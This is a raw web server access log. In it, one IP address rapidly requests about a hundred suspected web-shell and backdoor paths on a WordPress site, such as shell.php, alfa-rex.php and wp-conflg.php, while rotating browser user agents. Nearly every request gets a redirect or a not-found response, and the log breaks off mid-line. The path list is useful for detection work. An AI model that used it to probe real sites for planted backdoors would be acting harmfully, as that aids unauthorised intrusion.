[28/Feb/2026:03:12:18 +0300] "GET /wp-content/plugin.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 193.37.32.170 - - [28/Feb/2026:03:12:18 +0300] "GET /wp-admin/css/colors/ectoplasm/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36" 193.37.32.170 - - [28/Feb/2026:03:12:18 +0300] "GET /as.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 193.37.32.170 - - [28/Feb/2026:03:12:19 +0300] "GET /cc.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:77.0) Gecko/20100101 Firefox/77.0" 193.37.32.170 - - [28/Feb/2026:03:12:19 +0300] "GET /.well-known/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 193.37.32.170 - - [28/Feb/2026:03:12:19 +0300] "GET /ab.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.3; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 193.37.32.170 - - [28/Feb/2026:03:12:19 +0300] "GET /wp-content/themes/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:79.0) Gecko/20100101 Firefox/79.0" 193.37.32.170 - - [28/Feb/2026:03:12:20 +0300] "GET /wp-content/themes/twentytwentytwo/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 193.37.32.170 - - [28/Feb/2026:03:12:20 +0300] "GET /doc.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 193.37.32.170 - - [28/Feb/2026:03:12:20 +0300] "GET /wp-includes/html-api/chosen.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0" 193.37.32.170 - - [28/Feb/2026:03:12:20 +0300] "GET /wp-includes/style-engine/autoload_classmap.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:67.0) Gecko/20100101 Firefox/67.0" 193.37.32.170 - - [28/Feb/2026:03:12:20 +0300] "GET /wp-login.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 193.37.32.170 - - [28/Feb/2026:03:12:21 +0300] "GET /mar.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 193.37.32.170 - - [28/Feb/2026:03:12:21 +0300] "GET /wp-includes/sitemaps/providers/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 193.37.32.170 - - [28/Feb/2026:03:12:21 +0300] "GET /wp-admin/css/wp-conflg.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 193.37.32.170 - - [28/Feb/2026:03:12:21 +0300] "GET /1.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 193.37.32.170 - - [28/Feb/2026:03:12:21 +0300] "GET /wp-includes/Text/Diff/Engine/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)" 193.37.32.170 - - [28/Feb/2026:03:12:22 +0300] "GET /wp-includes/style-engine/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.90 Safari/537.36" 193.37.32.170 - - [28/Feb/2026:03:12:22 +0300] "GET /js/fm.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 193.37.32.170 - - [28/Feb/2026:03:12:22 +0300] "GET /wp-admin/images/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:72.0) Gecko/20100101 Firefox/72.0" 193.37.32.170 - - [28/Feb/2026:03:12:22 +0300] "GET /wp-content/uploads/wp-conflg.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.61 Safari/537.36" 193.37.32.170 - - [28/Feb/2026:03:12:23 +0300] "GET /wp-content/file.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:76.0) Gecko/20100101 Firefox/76.0" 193.37.32.170 - - [28/Feb/2026:03:12:23 +0300] "GET /wp-includes/Text/Diff/Engine/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:76.0) Gecko/20100101 Firefox/76.0" 193.37.32.170 - - [28/Feb/2026:03:12:23 +0300] "GET /fm.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 193.37.32.170 - - [28/Feb/2026:03:12:23 +0300] "GET /wp-admin/js/widgets/cloud.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 193.37.32.170 - - [28/Feb/2026:03:12:24 +0300] "GET /adminfuns.php7 HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 193.37.32.170 - - [28/Feb/2026:03:12:24 +0300] "GET /wp-admin/images/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; rv:11.0) like Gecko" 193.37.32.170 - - [28/Feb/2026:03:12:24 +0300] "GET /ini.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 193.37.32.170 - - [28/Feb/2026:03:12:24 +0300] "GET /wp-admin/css/colors/coffee/cloud.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 193.37.32.170 - - [28/Feb/2026:03:12:24 +0300] "GET /wp-includes/blocks/calendar/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0" 193.37.32.170 - - [28/Feb/2026:03:12:25 +0300] "GET /admin/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 193.37.32.170 - - [28/Feb/2026:03:12:25 +0300] "GET /wp-content/plugins/fix/up.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0" 193.37.32.170 - - [28/Feb/2026:03:12:25 +0300] "GET /.well-known/acme-challenge/atomlib.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 193.37.32.170 - - [28/Feb/2026:03:12:25 +0300] "GET /wp-admin/js/instaall.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)" 193.37.32.170 - - [28/Feb/2026:03:12:26 +0300] "GET /wp-includes/function.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.125 Safari/537.36" 193.37.32.170 - - [28/Feb/2026:03:12:26 +0300] "GET /wp-includes/plugins.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.97 Safari/537.36" 193.37.32.170 - - [28/Feb/2026:03:12:26 +0300] "GET /wp-content/plugins/atomlib.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 193.37.32.170 - - [28/Feb/2026:03:12:26 +0300] "GET /wp-content.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 193.37.32.170 - - [28/Feb/2026:03:12:27 +0300] "GET /wp-includes/css/chosen.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 193.37.32.170 - - [28/Feb/2026:03:12:27 +0300] "GET /wp-includes/Text/Diff/Renderer/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)" 193.37.32.170 - - [28/Feb/2026:03:12:27 +0300] "GET /wp-admin/network/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36" 193.37.32.170 - - [28/Feb/2026:03:12:27 +0300] "GET /wp-admin/css/colors/light/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 193.37.32.170 - - [28/Feb/2026:03:12:27 +0300] "GET /customize.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:72.0) Gecko/20100101 Firefox/72.0" 193.37.32.170 - - [28/Feb/2026:03:12:28 +0300] "GET /license.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 193.37.32.170 - - [28/Feb/2026:03:12:28 +0300] "GET /wp-content/languages/autoload_classmap.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:79.0) Gecko/20100101 Firefox/79.0" 193.37.32.170 - - [28/Feb/2026:03:12:28 +0300] "GET /lock.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:79.0) Gecko/20100101 Firefox/79.0" 193.37.32.170 - - [28/Feb/2026:03:12:28 +0300] "GET /wp-admin/css/colors/blue/gold.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 193.37.32.170 - - [28/Feb/2026:03:12:28 +0300] "GET /wp-includes/atomlib.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 193.37.32.170 - - [28/Feb/2026:03:12:29 +0300] "GET /wp-includes/rest-api/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 193.37.32.170 - - [28/Feb/2026:03:12:29 +0300] "GET /.well-known/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.79 Safari/537.36" 193.37.32.170 - - [28/Feb/2026:03:12:29 +0300] "GET /.well-known/wincust.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:72.0) Gecko/20100101 Firefox/72.0" 193.37.32.170 - - [28/Feb/2026:03:12:29 +0300] "GET /wp-admin/css/colors/light/alfa-rex.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:71.0) Gecko/20100101 Firefox/71.0" 193.37.32.170 - - [28/Feb/2026:03:12:29 +0300] "GET /wp-good.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.3; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 193.37.32.170 - - [28/Feb/2026:03:12:30 +0300] "GET /wp-includes/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:71.0) Gecko/20100101 Firefox/71.0" 193.37.32.170 - - [28/Feb/2026:03:12:30 +0300] "GET /wp-includes/style-engine/wp-conflg.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0" 193.37.32.170 - - [28/Feb/2026:03:12:30 +0300] "GET /wp-includes/assets/autoload_classmap.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 193.37.32.170 - - [28/Feb/2026:03:12:31 +0300] "GET /wp-content/themes/twentytwentyfour/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.61 Safari/537.36" 193.37.32.170 - - [28/Feb/2026:03:12:31 +0300] "GET /randkeyword.PhP7 HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 193.37.32.170 - - [28/Feb/2026:03:12:31 +0300] "GET /wp-admin/js/widgets/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:77.0) Gecko/20100101 Firefox/77.0" 193.37.32.170 - - [28/Feb/2026:03:12:31 +0300] "GET /fonts/database.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 193.37.32.170 - - [28/Feb/2026:03:12:31 +0300] "GET /ff2.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Fedora; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 193.37.32.170 - - [28/Feb/2026:03:12:32 +0300] "GET /wp-includes/SimplePie/Exception-wp.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3497.100 Safari/537.36" 193.37.32.170 - - [28/Feb/2026:03:12:32 +0300] "GET /wp-admin/plugin.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36" 193.37.32.170 - - [28/Feb/2026:03:12:32 +0300] "GET /wp-includes/rest-api/autoload_classmap.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:72.0) Gecko/20100101 Firefox/72.0" 193.37.32.170 - - [28/Feb/2026:03:12:33 +0300] "GET /jp.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 193.37.32.170 - - [28/Feb/2026:03:12:33 +0300] "GET /wp-atom.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.97 Safari/537.36" 193.37.32.170 - - [28/Feb/2026:03:12:33 +0300] "GET /wp-admin/css/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:71.0) Gecko/20100101 Firefox/71.0" 193.37.32.170 - - [28/Feb/2026:03:12:33 +0300] "GET /up.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36" 193.37.32.170 - - [28/Feb/2026:03:12:33 +0300] "GET /wp-content/uploads/bypass.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:67.0) Gecko/20100101 Firefox/67.0" 193.37.32.170 - - [28/Feb/2026:03:12:34 +0300] "GET /assets/images/admin.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.90 Safari/537.36" 193.37.32.170 - - [28/Feb/2026:03:12:34 +0300] "GET /wp-content/plugins/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:71.0) Gecko/20100101 Firefox/71.0" 193.37.32.170 - - [28/Feb/2026:03:12:34 +0300] "GET /js/wp-login.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:72.0) Gecko/20100101 Firefox/72.0" 193.37.32.170 - - [28/Feb/2026:03:12:34 +0300] "GET /simple/function.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.61 Safari/537.36" 193.37.32.170 - - [28/Feb/2026:03:12:35 +0300] "GET /worm.PhP HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 193.37.32.170 - - [28/Feb/2026:03:12:35 +0300] "GET /ext.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0" 193.37.32.170 - - [28/Feb/2026:03:12:35 +0300] "GET /delpaths.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 193.37.32.170 - - [28/Feb/2026:03:12:35 +0300] "GET /.well-known/pki-validation/1.php HTTP/1.1" 404 796 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36" 193.37.32.170 - - [28/Feb/2026:03:12:35 +0300] "GET /wp-includes/bk/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:76.0) Gecko/20100101 Firefox/76.0" 193.37.32.170 - - [28/Feb/2026:03:12:36 +0300] "GET /wp-content/plugins/wp-login.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 193.37.32.170 - - [28/Feb/2026:03:12:36 +0300] "GET /.well-known/pki-validation/install.php HTTP/1.1" 404 796 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.88 Safari/537.36" 193.37.32.170 - - [28/Feb/2026:03:12:36 +0300] "GET /wp-admin/css/colors/sunrise/admin.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 193.37.32.170 - - [28/Feb/2026:03:12:36 +0300] "GET /gifclass.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.90 Safari/537.36" 193.37.32.170 - - [28/Feb/2026:03:12:36 +0300] "GET /plugin.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.88 Safari/537.36" 193.37.32.170 - - [28/Feb/2026:03:12:37 +0300] "GET /wp-content/themes/twentytwentyfour/bypass.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 193.37.32.170 - - [28/Feb/2026:03:12:37 +0300] "GET /update-core.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 193.37.32.170 - - [28/Feb/2026:03:12:37 +0300] "GET /wp-admin/css/colors/blue/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:79.0) Gecko/20100101 Firefox/79.0" 193.37.32.170 - - [28/Feb/2026:03:12:37 +0300] "GET /wp-mail.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 193.37.32.170 - - [28/Feb/2026:03:12:38 +0300] "GET /wp-content/admin.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0" 193.37.32.170 - - [28/Feb/2026:03:12:38 +0300] "GET /wp-admin/defaults.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0" 193.37.32.170 - - [28/Feb/2026:03:12:38 +0300] "GET /.well-known/acme-challenge/content.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:76.0) Gecko/20100101 Firefox/76.0" 193.37.32.170 - - [28/Feb/2026:03:12:38 +0300] "GET /wp-content/ALFA_DATA/alfacgiapi/bypass.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 193.37.32.170 - - [28/Feb/2026:03:12:38 +0300] "GET /wp-admin/maint/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 193.37.32.170 - - [28/Feb/2026:03:12:39 +0300] "GET /wp-admin/js/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 193.37.32.170 - - [28/Feb/2026:03:12:39 +0300] "GET /wp-content/uploads/2023/05/404.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:72.0) Gecko/20100101 Firefox/72.0" 193.37.32.170 - - [28/Feb/2026:03:12:39 +0300] "GET /wp-admin/maint/maint.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 193.37.32.170 - - [28/Feb/2026:03:12:39 +0300] "GET /assets/bypass.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 193.37.32.170 - - [28/Feb/2026:03:12:40 +0300] "GET /aa.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Fedora; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 193.37.32.170 - - [28/Feb/2026:03:12:40 +0300] "GET /index2.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 193.37.32.170 - - [28/Feb/2026:03:12:40 +0300] "GET /wp-content/themes/hello-element/footer.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 193.37.32.170 - - [28/Feb/2026:03:12:40 +0300] "GET /wp-admin/network/admin.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.157 Safari/537.36" 193.37.32.170 - - [28/Feb/2026:03:12:40 +0300] "GET /.well-known/pki-validation/2index.php HTTP/1.1" 404 796 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 193.37.32.170 - - [28/Feb/2026:03:12:41 +0300] "GET /wp-content/languages/plugins.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 193.37.32.170 - - [28/Feb/2026:03:12:41 +0300] "GET /shell.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 193.37.32.170 - - [28/Feb/2026:03:12:41 +0300] "GET /.well-known/content.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3497.100 Safari/537.36" 193.37.32.170 - - [28/Feb/2026:03:12:41 +0300] "GET /wp-includes/Text/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.3; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 193.37.32.170 - - [28/Feb/2026:03:12:42 +0300] "GET /wp-admin/network/atomlib.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Fedora; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 193.37.32.170 - - [28/Feb/2026:03:12:42 +0300] "GET /.well-known/install.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 193.37.32.170 - - [28/Feb/2026:03:12:42 +0300] "GET /hehe.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:71.0) Gecko/20100101 Firefox/71.0" 193.37.32.170 - - [28/Feb/2026:03:12:43 +0300] "GET /wp-includes/fonts/autoload_classmap.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:79.0) Gecko/20100101 Firefox/79.0" 193.37.32.170 - - [28/Feb/2026:03:12:43 +0300] "GET /css/slider.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3497.100 Safari/537.36" 193.37.32.170 - - [28/Feb/2026:03:12:43 +0300] "GET /dir.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 193.37.32.170 - - [28/Feb/2026:03:12:43 +0300] "GET /wp-includes/css/atomlib.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36" 193.37.32.170 - - [28/Feb/2026:03:12:43 +0300] "GET /wp-content/style.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.110 Safari/537.36" 193.37.32.170 - - [28/Feb/2026:03:12:44 +0300] "GET /libraries/phpmailer/updates.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 193.37.32.170 - - [28/Feb/2026:03:12:44 +0300] "GET /nf_tracking.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 193.37.32.170 - - [28/Feb/2026:03:12:44 +0300] "GET /wp-admin/css/about.php7 HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; 